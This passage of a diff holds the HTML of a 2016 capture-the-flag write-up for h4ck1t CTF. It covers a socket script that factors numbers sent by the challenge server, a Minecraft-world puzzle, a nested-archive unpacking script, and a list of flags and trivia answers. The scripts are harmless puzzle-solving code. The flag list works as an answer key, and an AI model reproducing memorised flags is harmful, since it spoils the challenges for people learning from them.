-          <pre name="f6c7" id="f6c7"
-            class="graf graf--pre graf-after--p">from collections import Counter<br>import socket</pre>
-          <pre name="7f31" id="7f31"
-            class="graf graf--pre graf-after--pre">s = socket.socket()<br>s.connect((“ctf.com.ua”, 9988))</pre>
-          <pre name="50f2" id="50f2"
-            class="graf graf--pre graf-after--pre">primes = map(int, open(“primes.txt”).read().split(“ “))<br>i = 0<br>while True:<br>    o = s.recv(8192)<br>    print o<br>    q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)<br>    r = int(q[-1])<br>    print r<br>    done = False<br>    factors = []<br>    for prime in primes:<br>        while r % prime == 0:<br>            factors.append(prime)<br>            r //= prime<br>    c = Counter(factors)<br>    f = zip(*c.items())<br>    B = min(c.values())<br>    print f, c<br>    A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)<br>    if B == 1: A = r<br>    print A, B<br>    s.send(“%s %s\n” % (A, B))</pre>
-          <p name="16fa" id="16fa" class="graf graf--p graf-after--pre">The flag is <code
-              class="markup--code markup--p-code">h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}</code>.</p>
-          <h3 name="51b1" id="51b1" class="graf graf--h3 graf-after--p">Oman (50)</h3>
-          <p name="8660" id="8660" class="graf graf--p graf-after--h3">I was so excited to do this challenge! Once I
-            unzipped the file and saw the folders and files, I knew it was a Minecraft world save!</p>
-          <p name="13b9" id="13b9" class="graf graf--p graf-after--p">I kind of saw it coming, but once I opened the
-            world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above
-            the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I
-            assumed it meant that.</p>
-          <p name="3476" id="3476" class="graf graf--p graf-after--p">Thing is if you play, and step on the pressure
-            plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
-            just selected the bedrock region and deleted it, revealing the flag below: <code
-              class="markup--code markup--p-code">h4ck1t{m1n3craft_h4c3r}</code>.</p>
-          <h3 name="d421" id="d421" class="graf graf--h3 graf-after--p">Paraguay (250)</h3>
-          <p name="3a9c" id="3a9c" class="graf graf--p graf-after--h3">Honestly, this one was such a pain in the ass.
-            Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
-            library called <code class="markup--code markup--p-code">pyunpack</code> figures that out for you, by
-            checking the magic number of the file. The final script looks like this:</p>
-          <pre name="1165" id="1165"
-            class="graf graf--pre graf-after--p">from pyunpack import *<br>import shutil</pre>
-          <pre name="e117" id="e117"
-            class="graf graf--pre graf-after--pre">for i in range(100, 0, -1):<br>    Archive(“%d” % i).extractall(“.”)<br>    shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))</pre>
-          <p name="4d19" id="4d19" class="graf graf--p graf-after--pre">The flag is <code
-              class="markup--code markup--p-code">h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}</code> .</p>
-          <h3 name="ee3c" id="ee3c" class="graf graf--h3 graf-after--p">United States (50)</h3>
-          <p name="216c" id="216c" class="graf graf--p graf-after--h3">This one was a freebie. Join their Telegram
-            channel and you get a free flag: <code
-              class="markup--code markup--p-code">h4ck1t{fr33_4nd_$ecur3!}</code>.</p>
-          <h3 name="df84" id="df84" class="graf graf--h3 graf-after--p">Trivia</h3>
-          <p name="7257" id="7257" class="graf graf--p graf-after--h3">There were a lot of trivia questions on the
-            board! They weren’t worth much, but still pretty fun. Here are the solutions:</p>
-          <pre name="28e0" id="28e0"
-            class="graf graf--pre graf-after--p graf--trailing">Cote d’Ivoire: h4ck1t{arpanet}<br>Bolivia: h4ck1t{Tim}<br>Colombia: h4ck1t{heartbleed}<br>Costa Rica: h4ck1t{7}<br>Ecuador: h4ck1t{archie}<br>Finland: h4ck1t{mitnick}<br>Greece: h4ck1t{30}<br>Honduras: h4ck1t{Binary}<br>Italy: h4ck1t{2015}<br>Kazakhstan: h4ck1t{polymorphic}<br>Kyrgyzstan: h4ck1t{smtp}<br>Madagascar: h4ck1t{caesar}<br>Nicaragua: h4ck1t{B@S3_S0_B@S3_}<br>Nigeria: h4ck1t{128}<br>Peru: h4ck1t{Decimal}<br>Phillipines: h4ck1t{creeper}<br>Spain: h4ck1t{social engineering}<br>Venezuela: h4ck1t{admin123}</pre>
-        </div>
-      </div>
-    </section>
-  </section>
-  <footer>
-    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
-        href="https://medium.com/p/8caf20e4b185"><time class="dt-published"
-          datetime="2016-10-02T20:46:42.000Z">October 2, 2016</time></a>.</p>
-    <p><a href="https://medium.com/@failedxyz/h4ck1t-ctf-2016-8caf20e4b185" class="p-canonical">Canonical link</a></p>
-    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
-  </footer>
-</article>